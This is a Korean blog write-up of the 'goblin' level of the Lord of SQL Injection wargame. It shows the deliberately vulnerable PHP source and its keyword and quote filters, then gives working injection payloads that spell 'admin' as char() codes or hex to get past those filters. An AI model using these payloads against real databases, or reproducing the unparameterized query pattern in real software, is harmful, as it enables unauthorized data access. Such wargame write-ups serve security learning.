728x90
반응형

query : select id from prob_goblin where id='guest' and no=

 

<?php 

  include "./config.php"

  login_chk(); 

  $db dbconnect(); 

  if(preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 

  if(preg_match('/\'|\"|\`/i'$_GET[no])) exit("No Quotes ~_~"); 

  $query "select id from prob_goblin where id='guest' and no={$_GET[no]}"

  echo "<hr>query : <strong>{$query}</strong><hr><br>"

  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 

  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"

  if($result['id'] == 'admin'solve("goblin");

  highlight_file(__FILE__); 

?>

 

 

코드 해석

  if(preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 

  if(preg_match('/\'|\"|\`/i'$_GET[no])) exit("No Quotes ~_~"); 

  • no "prob"  "_"  "."  "("  ")" 포함될 경우 "No Hack ~_~" 출력
  • no '  "  ` 포함될 경우 "No Quotes ~_~" 출력

 

$query "select id from prob_goblin where id='guest' and no={$_GET[no]}"

  • id 'guest' 고정되어 있고, GET 방식으로 삽입되는 것을 있음

if($result['id'] == 'admin'solve("goblin");

  • id admin일때 문제가 해결됨

 

 

 

문제 해결

  • ' " ` 의 문자가 필터링 되기 때문에 'admin' 같은 문자를 삽입하기 힘듬
  • 따라서 ASCII, Hex 값을 삽입하여 admin이라는 SQL문을 만들어 조작
  • [코드변환] https://gchq.github.io/CyberChef/

 

1) String(admin) -> Hex(61 64 6d 69 6e)

2) String(admin) -> ASCII(97 100 109 105 110)

 

 

id admin으로 송신하며, 뒤에 SQL문을 주석처리

  • GET 방식으로 URL ASCII, Hex SQL 대입
    (
    ?no=0||id=char(97,100,109,105,110)%23 )
    (
    ?no=0||id=0x61646d696e%23 )
  • query : select id from prob_goblin where id='guest' and no=0||id=char(97,100,109,105,110)
  • query : select id from prob_goblin where id='guest' and no=0||id=0x61646d696e

 

728x90

'*Wargame > [ LS ] Load of SQL Injection' 카테고리의 다른 글

[ LS - 05 ] wolfman  (0) 2021.12.18
[ LS - 04 ] orc  (0) 2021.12.18
[ LS - 02 ] cobolt  (0) 2021.12.18
[ LS - 01 ] gremlin  (0) 2021.12.18
[ LS - 00 ] Lord of SQL Injection  (0) 2021.12.18

+ Recent posts